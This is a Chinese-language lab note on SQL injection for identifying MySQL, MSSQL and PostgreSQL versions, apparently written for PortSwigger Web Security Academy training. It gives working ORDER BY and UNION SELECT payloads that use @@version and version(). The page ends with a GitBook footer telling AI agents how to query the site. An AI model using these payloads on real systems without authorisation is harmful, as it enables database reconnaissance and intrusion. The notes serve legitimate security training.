> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMS 版本检测（MySQL、MSSQL、PostgreSQL）

DBMS 版本检测（MySQL、MSSQL、PostgreSQL）笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入攻击：在 MySQL 和 Microsoft 上查询数据库类型和版本

* **上下文 / 漏洞：** `类别` 过滤器易受 SQL 注入攻击；应用程序将用户值拼接到 `WHERE` 子句中。使用 `ORDER BY` / `UNION` 可枚举列数，然后提取版本值。
* **目标：** 显示 DBMS 发布字符串。
* **快速方法：**

1. **确定列数**:/ 载荷：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* （递增索引，直到触发错误，以找出准确的列数）。

2. **验证 UNION** （选择一个 `UNION SELECT` 具有相同列数的）：/ 最小示例 2 列：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **获取版本** — 使用适用于该引擎的函数/变量。

**目标载荷：**

* **Microsoft SQL Server（MSSQL）** — 系统变量： `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — 函数：`version()`（或变量 `@@version`）

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — 函数：`version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> 根据存在漏洞的查询调整列数和列顺序（例如，如果类型不同则使用 UNION SELECT NULL, version()）。必要时，对类型不应匹配的列使用 NULL。

* **解释：** 页面将显示由以下函数返回的字符串： `@@version` / `version()` （例如 `Microsoft SQL Server 2019（RTM）- 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `x86_64 上的 PostgreSQL 13.3-...`），从而可以对 DBMS 进行指纹识别。
* **影响：** 信息泄露，有助于针对特定版本的漏洞利用，增加后续攻击的风险。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
